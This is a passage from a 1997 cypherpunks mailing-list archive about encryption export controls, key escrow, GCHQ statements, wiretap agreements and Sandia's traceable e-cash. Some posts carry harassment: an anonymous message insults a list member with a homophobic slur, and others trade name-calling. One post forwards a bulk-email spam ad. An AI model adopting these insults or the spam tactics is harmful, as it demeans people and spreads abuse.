encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US. Because of this policy problem, US companies are
now at a competitive disadvantage in the global marketplace.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can also aid law
enforcement and protect national security by limiting the threat of
industrial espionage and foreign spying.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

________________________________________________________________________
FOR MORE INFORMATION / SUPPORTING ORGANIZATIONS

This alert was brought to you by the Center for Democracy and
Technology, the Electronic Frontier Foundation, and the Voters
Telecommunications Watch.

http://www.cdt.org           http://www.eff.org       http://www.vtw.org

There are many excellent resources online to get up to speed on the
crypto issue including the following WWW sites:

           http://www.crypto.com       http://www.privacy.org

Please visit them often.    Press inquiries should be directed to:

 Jonah Seiger of CDT at jseiger@cdt.org or +1.202.637.9800
 Stanton McCandlish of EFF at mech@eff.org or  +1.415.436.9333
 Shabbir J. Safdar of VTW at shabbir@vtw.org or +1.917.978.8430 (beeper).

________________________________________________________________________
End alert
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 27 Feb 1997 10:05:04 -0800 (PST)
To: jya@pipeline.com
Subject: Re: GCHQ On Escrow Sham
In-Reply-To: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com>
Message-ID: <199702271735.RAA00621@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:
> The GCHQ spook heading the EU's group on crypto policy 
> admits that  law enforcement demand for key escrow is just 
> a cover for foreign intelligence:
> 
>   http://www.cs.berkeley.edu/~daw/GCHQ/

Some interesting extracts from the Herson interview from that web
page, Herson speaking:

: ...in practice export control means use control. There is an
     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
: indirect mechanism, which means that ... If you take the old
: paradigm that exportability means exploitability - the only
: cryptography, that is available to the business and private user is
: exploitable cryptography...

ie They don't care about exports what they care about is stopping
people using strong crypto, but they use export controls as an excuse.

and:

> Interviewer: "What do you think about the fact that the crypto
> debate focuses on privacy versus Law Enforcement ?"
>
> Herson: "Law Enforcement is a protective shield for all the other
> governmental activities . You should use the right word - 
> we're talking about foreign intelligence, that's what we're talking
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> about - that's what all this is about.  There is no question -
> that's what it is about. The Law enforcement is a smoke screen,
                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> because we all understand law enforcement, policemen, courts, this
> is something we see everyday in our life. And it's an important
> element, I'm not suggesting it's not relevant but it is a protective
> shield for what goes on behind that. ..."

ie law enforcement interests (horsemen of apocalypse, terrorists,
pedophiles, pornographers, etc) are just a smoke screen, what it's
really about is maintaining foreign signals intelligence for cold war
type spy purposes.

Are you sure he works for GCHQ?  I'm shocked ... such honesty.  You'd
never catch Clinton or Freeh admitting the above was the agenda

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@jefferson.hidden.net (Anonymous)
Date: Thu, 27 Feb 1997 19:21:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZKP
Message-ID: <199702280316.TAA07227@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] Mayo must have been sharing needles with a rabid 
hedgehog.

      o-:^>___? Tim C[ocksucker] Mayo
      `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 17:38:25 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: 128_bit
In-Reply-To: <199702272325.XAA01529@server.test.net>
Message-ID: <33164EDB.6424@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote: 
> John Young offered RSADS/Security Dynamics press release:
> > "Security Dynamics Unveils RSA SecurPC 2.0"
> >  The package is claimed to the first 128-bit encryption software to
> >  be exported from the US and its territories, and allows companies
> >  to implement "seamless, full-strength encryption" worldwide.
> 
> Seems the sales blurb press release from RSADS/Security Dynamics is
> misleading, checking out the web page referenced:
> (http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/)
> 
>    This Trial version of RSA SecurPC uses 40-bit
>   RC4 keys and 512-bit RSA keys. For more
>   information about the product, see the
>   product description page.
> 
> What happened to "the first 128-bit encryption software to be exported
> from the US and its territories"?  In reality: more 40 bit cripple-ware.

  I sent these guys an email a week or so ago suggesting that if 
their algorithm was as good as their advertising, then it must indeed
be a magnificent product, since their advertising is able to magically
turn 40-bit encryption into 128-bit encryption.
  They sent me back an email thanking me for supporting their product.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 17:38:34 -0800 (PST)
To: cypherpunks@cyberpass.net
Subject: Re: Strange Looks
In-Reply-To: <9702280023.AA15385@banshee.BASISinc.com>
Message-ID: <331651C7.568@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike Denney wrote:

 Subject:     new regulations
 Sent:        2/25/97 11:31 PM
 Received:    2/25/97 3:49 PM
 From:        Ken Wallace, kwallace@pragma.com
 To:          larry@dentistat.com

 TO ALL EMPLOYEES

It has been brought to the management's attention that some individuals
have been using foul language in the course of normal conversation
between employees.  Due to complaints from some more easily offended
workers, this conduct will no longer be tolerated.

The management does, however, realize the importance of each person
being able to properly express their feelings when communicating with
their fellow employees.  Therefore the management has compiled the
following code phrases, so that the proper exchange of ideas and
information can continue.

Old Phrase                            New Phrase
----------                            ----------

No fucking way                         I'm not certain that's feasible.

You've got to be shitting me           Really?

Tell someone who gives a fuck          Perhaps you should check with ...

Ask me if I give a fuck                Of course I'm concerned.

It's not my fucking problem            I wasn't involved in that
project.

What the fuck?                         Interesting behavior.

Fuck it, it won't work                 I'm not sure I can implement
this.

Why the fuck didn't you tell me        I'll try to schedule that.
  that sooner?

When the fuck do you expect me to      Perhaps I can work late.
  do this?

Who the fuck cares?                   Are you sure it's a problem?

He's got his head up his ass          He's not familiar with that
problem.

Eat shit                              You don't say.

Eat shit and die                      Excuse me?

Eat shit and die motherfucker         Excuse me, sir?

What the fuck do they want from me    They weren't happy with it?

Kiss my ass                           So you'd like help with it?

Fuck it.  I'm on salary               I'm a bit overloaded at the
moment.

Shove it up your ass                  I don't think you understand.

This job sucks                        I love a challenge.

Who the hell died and made you boss   You want me to take care of this?

Blow me                               I see.

Blow yourself                         Do you see?

Another fucking meeting               Yes, we should discuss this.

I really don't give a shit            I don't think it will be a
problem.

Fuck you                              How nice.  How very nice!

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 16:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: More EI Public Comments
Message-ID: <1.5.4.32.19970228004454.0070dd50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has listed two more public comments on encryption 
transfers at its Web site:

44. Electronic Messaging Association 
45. American Electronics Association

BXA's PDF versions at:

  http://www.bxa.doc.gov/44-.pdf  (420K)
  http://www.bxa.doc.gov/45-.pdf  (339K)

Our HTML conversions at:

  http://jya.com/bxapc44.htm  (17K)
  http://jya.com/bxapc45.htm  (16K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 17:17:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: EU and FBI Wiretap Scheme
Message-ID: <1.5.4.32.19970228011102.00743c6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


This sounds like what Spook Herson admitted in his interview:

February 25, 1997

Report: Europe OKs Wiretap Rules

London (AP) -- Europe has agreed to establish international standards 
with the U.S. Federal Bureau of Investigations to enable authorities to 
tap telephones and messages sent by fax, telex and e-mail, a London 
newspaper reported Tuesday. 

The Guardian newspaper said it obtained a preliminary agreement 
signed by European Union nations in 1995 that calls for 
telecommunications companies to provide security agencies with 
the key to codes installed in equipment sold to customers. 

The newspaper report could not be confirmed independently. 

The aim of the alliance between U.S. and EU agencies was to set a 
common standard for "international interception,'' the newspaper 
reported. 

Full details on the agreement are being drawn up by officials working 
in European Union committees, it said. 

The report said European officials drafted a memorandum of 
understanding after Britain warned that mobile telephone systems 
in the hands of organized criminals posed an international threat. 

----------

Thanks to D.

If anyone has the Guardian article, a copy would be appreciated.

Fax to: (US) 212-799-4003

Or scan it and send e-mail to <jya@pipeline.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Feb 1997 20:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: DNSSEC Encryption for DNS registration and ITAR Nonsense
In-Reply-To: <199702120859.AAA27060@songbird.com>
Message-ID: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  

Details are on http://www.tis.com/docs/research/network/dns.html
It's a very interesting page - pointers to the RFC
http://ds.internic.net/rfc/rfc2065.txt ,
and downloadable beta code from TIS implementing it.  Cool stuff.

But then there's the politial correctness part of the web page :-)
> Trusted Information Systems, Inc. has received approval from the 
> United States Government for export and reexport of TIS/DNSSEC software
> from the United States of America under the provisions of the Export 
> Administration Regulations (EAR) General Software Note (GSN) license 
> exception for mass market software.  Under the provisions of this license, 
> this software may be exported or reexported to all destinations except 
> for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
> Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
embargoed
> countries requires additional, specific licensing approval from the 
> United States Government.

Yup.  Can't let those Cubans secure their DNS.....  At least the government
did decide to permit export.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 19:02:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on EU and FBI Wiretapping
Message-ID: <1.5.4.32.19970228025536.00755420@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to CA: EPIC reports today on the EU-FBI
wiretap pact. It gives this URL for the source document
which lays out the interception deception:

   http://www.privacy.org/pi/activities/tapping/

See EPIC's full report at:

   http://www.epic.org/

[1] New Report Details FBI/European Tapping Agreements 
[2] Airline Security Report Released
[3] Briefs Filed in Reno v. ACLU Internet "Indecency" Challenge 
[4] Crypto Legislation Introduced
[5] Clipper Upgrade at DOD/Litigation Update
[6] State Department Reports Widespread Illegal Wiretapping Worldwide
[7] New Medical Privacy Survey 
[8] Upcoming Conferences and Events






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 27 Feb 1997 20:36:22 -0800 (PST)
To: Anonymous <nobody@jefferson.hidden.net>
Subject: Re: ZKP
In-Reply-To: <199702280316.TAA07227@jefferson.hidden.net>
Message-ID: <Pine.BSF.3.91.970227222024.24225H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 27 Feb 1997, Anonymous wrote:

> Tim [censored] Mayo must have been sharing needles with a rabid 
> hedgehog.
> 

Stop picking on the oppressed rabid mammals, or things will get ugly for you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 27 Feb 1997 13:27:55 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: GCHQ On Escrow Sham
In-Reply-To: <199702271735.RAA00621@server.test.net>
Message-ID: <9702272126.AA40614@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


At least now, Herson works for the European Commisson.

In case anyone is interested, his phone number and e-mail address can
be found at <URL:http://wise.igd.fhg.de/www/projects/wise/english/rd/
3fw/RACE2/annual94/parta1-5.html>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Thu, 27 Feb 1997 19:45:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Look what SPAM I got today [Customers for You !!!]
Message-ID: <9702280345.AA21386@cti02.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi Cypherpunks.  Long time no lurk.  Too busy defending the right to own 
unregistered guns and getting involved in local politics to dwell on the 
shortfalls of OS/2 PGP shells for PM GUI.  PGP apps for OS/2 sucks!

Anyhow, if you have any comments on the forwarded message, please Cc me.
Is there a limit to spamming?  Is there a way to attach nitroglycerine to an 
e-mail reply? ( I know Jim Bell has a few suggestions about that... :-)

Ciao all

JFA


------- Forwarded Message Follows -------
Date:          Thu, 27 Feb 1997 12:06:09 -0500 (EST)
From:          Quantum Communications <sales@quantumcom.net>
To:            "jctracey@sprynet.com" <jctracey@sprynet.com>
Subject:       Customers for You !!!

Would you like more customers?

Visit http://www.quantcom.com

Everyone knows that the hottest way to find new customers and market your business is via 
direct Email. 

Quantum Communications offers direct Email advertising services, and related marketing 
services, with the following highlights:

 ------> Guaranteed Response Rate! Up to 3% Guaranteed Response.

------> 100% Approved Financing! No Credit Checks!

------> Never Again Get Shut Off By Your ISP! We Offer Flame-Filtering & Free 
Auto-Responders!

------> Targeted Mailings, Using Custom-Built Lists With Your Parameters.

------> 5 Million Recipient Co-op "The Mega-Mailer" is available.

------> Stand-Alone Mailings Available.

------> Wholesale Unlimited Access To Our "Self-Service" SMTP Mail Servers Available.

------> Ad Copy Design & Revision Available.

------> "Floodgate" Bulk E-Mail Software Available.

 Quantum Communications also offers Virtual Servers complete with full POP3 Email accounts 
and domain registration, lists of Email addresses for sale, search engine submissions, 
newsgroup posting announcements, and web page design. 

 Call our Sales Department at (603) 772-4096 for details,
or Visit our website at http://www.quantcom.com You may also send an email to our 
autoresponder: info@quantcom.com or direct specific questions to sales@quantcom.com

Thank you for your time.

------- end of forwarded message ------

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 JFA Technologies, R&D consultants.
    physicists, engineers and technologists.
PGP keys at: http://w3.citenet.net/users/jf_avon
        and: http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 27 Feb 1997 22:49:41 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: DNSSEC Encryption for DNS registration and ITAR Nonsense
Message-ID: <199702280648.WAA23851@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:30 PM 2/27/97 -0800, Bill Stewart wrote:
>At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:

>But then there's the politial correctness part of the web page :-)
>> Trusted Information Systems, Inc. has received approval from the 
>> United States Government for export and reexport of TIS/DNSSEC software
>> from the United States of America under the provisions of the Export 
>> Administration Regulations (EAR) General Software Note (GSN) license 
>> exception for mass market software.  Under the provisions of this license, 
>> this software may be exported or reexported to all destinations except 
>> for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
>> Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
>embargoed
>> countries requires additional, specific licensing approval from the 
>> United States Government.
>
>Yup.  Can't let those Cubans secure their DNS.....  At least the government
>did decide to permit export.

When Clipper was a new proposal, a reporter stated that Clipper-equipped 
telephones were going to be exportable...to anywhere except 
terrorist-supporting countries like Libya and Iraq.  My first reaction was, 
if those chips had their keys escrowed within reach of the US government, 
WHAT DID IT MATTER that the phones get exported to Libya?!?  In fact, they'd 
presumably want to airdrop them there, right?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 27 Feb 1997 21:11:34 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153E98.3DCD@gte.net>
Message-ID: <199702280508.XAA20415@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dale Thorn wrote:
> > > > > E. Allen Smith wrote:
> > > > > > filtered out) of blocking postings from Senate and House addresses,
> > > > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > > > given that I generally delete his messages before reading), he
> > > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > > > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> > > > remember dale, you and dr. vulis are also beating on john gilmore & co.
> 
> > > True, but, Smith viciously attacked me before I said anything about
> > > him, and he did so not because I was some kind of authority inter-
> > > fering with his life (like a lying, cheating, censoring list mgr.),
> > > but simply because he didn't like my posts.
> 
> > :) and you are attacking him because you did not like his posts.
> 
> Not the same thing at all.  Any posts he may have made about any
> list topic (whether "on-topic" or not) I did not jump on him for.

Oh well, and he did not jump on Dr. Vulis for any posts concerning
the list topic.

> I have made specific comments disagreeing with people about factual
> or theoretical particulars, or I've made disparaging comments about
> list "leaders" using their "reputation capital" to shove other people
> out of their way like bullies, but I haven't taken to calling
> ordinary list subscribers names because I think they're paranoid
> (which I'm really not, though I'm a "professional" conspiratologist),
> or because I otherwise disagree with them.

Well, paranoid people may be more right than "normal" people, so I
do not see the word paranoid as an insult.

> I looked at one archive the other day, and it contained 850+ messages
> by me posted to cypherpunks between approximately 1 Sep 96 and late
> Jan 97.  I think you'll find them very consistent, and although I
> could be accused of harboring my own arrogance in some areas, I can
> handle any criticism you put forth, since you (for example) don't
> slander me gratuitously or viciously.

Mmm, maybe, but I remember saying negative things about some of your
ideas, which I still think were not wrong.

> Several months ago, I made a post where I said that approx. 95% of
> people stay within the confines of their parents' religion for life,
> meaning that while they may change denominations, or split different
> hairs on various dogmas, they still remain Catholic if their parents
> were Catholic, etc.  One of the list "leaders" chose to say I didn't
> know what I was talking about, even though I very well did know what
> I was talking about (and I told him so), so he replied that he didn't
> want me putting his email address in any of my posts (i.e., don't
> hit the reply-to-all button unless I manually delete his name), and
> has steadfastly ignored me ever since.  I don't mind being ignored,
> in fact, it gives me time to do better things than argue with persons
> who don't really listen, but what pisses me off is this bully-like
> arrogance on the part of some of the clique who would really like to
> get rid of people like me, but can't recommend it since it would
> damage their already fragile reputation.

This is OK, Dale, if some readers follow the bullies with reputations
instead of doing their own thinking, they are not worthy of your worries.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 27 Feb 1997 15:27:38 -0800 (PST)
To: jya@pipeline.com
Subject: Re: 128_bit
In-Reply-To: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com>
Message-ID: <199702272325.XAA01529@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young offered RSADS/Security Dynamics press release:

> 2-26-97.
> 
> "Security Dynamics Unveils RSA SecurPC 2.0"
> 
>  The package is claimed to the first 128-bit encryption software to 
>  be exported from the US and its territories, and allows companies 
>  to implement "seamless, full-strength encryption" worldwide.

Seems the sales blurb press release from RSADS/Security Dynamics is
misleading, checking out the web page referenced:

(http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/)

  Crypto strength reduced, but
  functionality intact 

  In order to make this ground-breaking
  product available internationally, we have
  applied for and received a Commodity
  Jurisdiction from the US Department of
  Commerce. This means that the strength of
  the cryptography has been reduced from the
  commercial product available in the US and
  Canada in order to comply with
  cryptographic export regulations, but the rest
  of the functionality has been left intact. This
  Trial version of RSA SecurPC uses 40-bit
  RC4 keys and 512-bit RSA keys. For more
  information about the product, see the
  product description page. 

What happened to "the first 128-bit encryption software to be exported
from the US and its territories"?  In reality: more 40 bit cripple-ware.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Conrad <jjc@infi.net>
Date: Thu, 27 Feb 1997 21:23:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: STU-III Usage
Message-ID: <2.2.16.19970228002350.0e174086@mailhost.infi.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
>Back when the STU-III was still called the "Future Secure Voice System"
>the DoD was telling manufacturers they'd probably sell 500,000 of them,
>between the DoD unclassified work, law enforcement users, defense 
>contractors, and similar riff-raff.  I don't know how many were actually 
>sold, but I'd be surprised if it's a tenth of that; the government
>was too cheap to spend $2-3K per box for that many users.

I'm ex-Navy and worked as a contractor for the last 5 years since I got out.
>From my operational experience and exposure to certain area's I would have
to say that 500,000 might be more accurate than you suspect. They are used
at most Navy facilities as the "standard" desk phone when the command
requires operational security telecommunications access. Personnel Offices
etc., probably don't have but one or two per facility but sites requiring
them have them everywhere. Likewise most contractor facilities that require
secure telecommunications have them available as well.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JGarrett <homebc@homebc.com>
Date: Thu, 27 Feb 1997 23:29:23 -0800 (PST)
To: homebc@homebc.com
Subject: New Breakthrough!
Message-ID: <1.5.4.32.19970228073003.007553a4@homebc.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KALLISTE@delphi.com
Date: Thu, 27 Feb 1997 22:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clipper Chip Banking
Message-ID: <01IFXJQE7DR69AU48I@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


         Clipper Chip Banking

          by J. Orlin Grabbe

      Sandia National Laboratories have
created the digital cash equivalent  of
the   Clipper   chip:   an  "anonymous"
digital  cash  system that  would  give
participants privacy from all  viewers,
except for the government agencies that
would  control the secret keys required
for backdoor access.

      Just  as  the "Clipper"  proposal
(the Escrowed Encryption Standard) is a
system of encrypted communication  with
a Big Brother peephole, so is Sandia e-
cash  a  system of digital cash with  a
Big  Brother peephole.  It was designed
that way.

       Why  is  Sandia  interested   in
digital cash systems?  Well, Sandia  is
responsible    for   all    non-nuclear
components  of  nuclear  weapons.   The
security  of  nuclear  weapons  depends
partly   on   cryptology.   The   code-
breaking   National   Security   Agency
(NSA), for example, is responsible  for
the   communication  security  of   the
Minuteman missile, as well as the codes
by  which  the President must  identify
himself to authorize a nuclear strike.

      The  use  of nuclear  weapons  is
normally  based  on a  trustee  system:
two  or  more  people are necessary  to
give  the complete authorization  code.
The NSA used this idea as the basis for
the   Clipper  chip:   two   designated
trustee   agents   would   each    have
knowledge of one-half the chip-specific
unique  key  by  which  to  decode  the
session  key that encoded a  particular
communication passing through the chip.
The   Clipper   chip   was   originally
proposed  for incorporation into  every
digital communication device: computer,
fax,  and cable TV.

      The sales aspect of Clipper was a
new  encryption algorithm based on  80-
bit  encryption  keys.   Financial  and
other  institutions had begun to  worry
about   the   security  of   the   Data
Encryption Standard (DES) which uses 56-
bit keys.  An 80-bit key space would be
2^24  times  as large as  the  DES  key
space.   The  catch was that acceptance
of  the  new  algorithm  would  involve
acceptance of the NSA backdoor.  At the
present  time,  the financial  industry
has  said,  "No,  thank  you,"  and  is
focusing on triple-DES, which  has  the
security    equivalent    of    112-bit
encryption keys, and no backdoor.

       Sandia   e-cash  is   a   simple
extension of the trustee notion. Sandia
e-cash  was  announced  as  "the  first
electronic     cash     system     that
incorporates   trustee-based   tracing,
while    provably    protecting    user
anonymity".  The trustees in this  case
are  key-escrow agents, and  a  minimal
subset of them (say three out of  five)
would   be   able   to  combine   their
knowledge   to  trace  an  individual's
electronic transactions.  The fact that
several  agents would need  to  act  in
concert   "protects  users   from   the
possibility  that one or  two  trustees
might  be  corrupt".  (In other  words,
depending  on  the  level  of  official
corruption, the system would either  be
somewhat secure, or totally insecure.)

      Anonymity or privacy in financial
transactions   generally    means    an
inability  to determine an individual's
spending  patterns. Anonymity  requires
first and foremost protection from  the
prying eyes of the bank.

     If the bank knows what is going on
in  your  account, then potentially  so
can  anyone  else: the records  can  be
seized, or surreptitiously accessed  by
computer,  or  a bank employee  can  be
bribed  to  make  them available.   (In
this respect, it is useful to note that
the  system of Swiss numbered  accounts
was  created to protect bank  customers
from  bank  employees. Bank  employees,
observing what occurred in a customer's
account,  could  possibly  subject  the
customer to blackmail.)

        Anonymity   involves    several
aspects, including "unlinkability"  and
"untraceability".

       "Unlinkability"  refers  to  the
inability  of  a  bank (even  colluding
with  merchants) to determine that  two
payments  were made by the  same  user.
To   understand  this,   consider   the
opposite  case:  your monthly  American
Express  or credit card bill.   Such  a
statement    contains    a    set    of
transactions which are all linked by  a
common  element--your  AMEX  or  credit
card  account  number.   Because  these
payments  are  linked, they  present  a
limited  picture  (a  subset)  of  your
behavior,    movements,    and    habit
patterns.  Your  private  behavior   is
potentially     public     information.
Unlinkability is therefore an aspect of
anonymity.    Because  linkability   in
anonymous    digital   cash    involves
cryptological   protocols,     it    is
actually  a  probability concept:   how
probable is it that two payments can be
accurately  identified as  having  been
made  by  the same user?  Unlinkability
means such probability is negligible.

      "Untraceability"  refers  to  the
inability   of   a   bank   to    match
withdrawals   of  digital   cash   with
subsequent    payments.      To    have
untraceability,   the   information   a
person  reveals about himself by making
payments    must    be    statistically
independent of the information a person
reveals   about   himself   by   making
withdrawals.   Of course if  the  bank,
even  when  colluding  with  merchants,
can't   link   or  trace   a   person's
transactions--even in probability terms-
-then  neither can FINCEN or  the  NSA.
Anonymity  and privacy thus  ultimately
hinges  on  concealing  this  type   of
information from the bank itself.

      But  such  anonymity,  naturally,
raises  the  issue of the  selectively-
enforced  money-laundering  laws.   The
prevention   of   money-laundering   is
stated as a principal raison d'ˆtre for
Sandia's e-cash system of non-anonymous
"anonymity":

     "Money  laundering . .  .  is
     hampered by physical cash and
     would  be  made easier  by  a
     completely          anonymous
     electronic counterpart. . . .
     With anonymous e-cash, money-
     laundering would be as simple
     as   depositing  one  set  of
     electronic  "coins"   in   an
     account under an assumed name
     and  withdrawing another  set
     from   the   same   account."
     (Peter  S. Gemmel, "Traceable
     e-cash," Technology  and  the
     Electronic   Economy,    IEEE
     Spectrum, February 1997.)

        To   prevent   such   nefarious
activity,  Sandia  even  envisions  one
future world in which individuals would
be  required to submit regular  reports
of  their financial transactions to the
government:

     "In a different trustee-based
     e-cash   system,  the  users'
     "wallet"    software    would
     require  them to  supply  the
     authorities from time to time
     with    transaction   records
     stored  in  their  electronic
     wallets  and  encrypted  with
     their tracing keys." (Ibid.)
     
This proposal is somewhat similar to  a
requirement  to  regularly  send  one's
bank  statements to the IRS for filing,
with a committee controlling access  to
the file cabinet.

      While  Sandia ponders the  future
needs  of Big Brother government,  over
at   the  Treasury,  meanwhile,  Robert
Rubin has appointed the Comptroller  of
the  Currency,  Eugene Ludwig,  as  the
point man to oversee government efforts
to  keep  a  peephole into  every  bank
account.  To this end, Ludwig--when  he
is   not   attending  Clinton   coffee-
klatsches--coordinates  the  electronic
cash   spying  plans  of  FINCEN,  U.S.
Customs,  the IRS, the Secret  Service,
ATF,  and the Office of Foreign  Assets
Control.

February 27, 1997
Web Page:  http://www.aci.net/kalliste/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 00:33:27 -0800 (PST)
To: KALLISTE@delphi.com
Subject: Re: Clipper Chip Banking
In-Reply-To: <01IFXJQE7DR69AU48I@delphi.com>
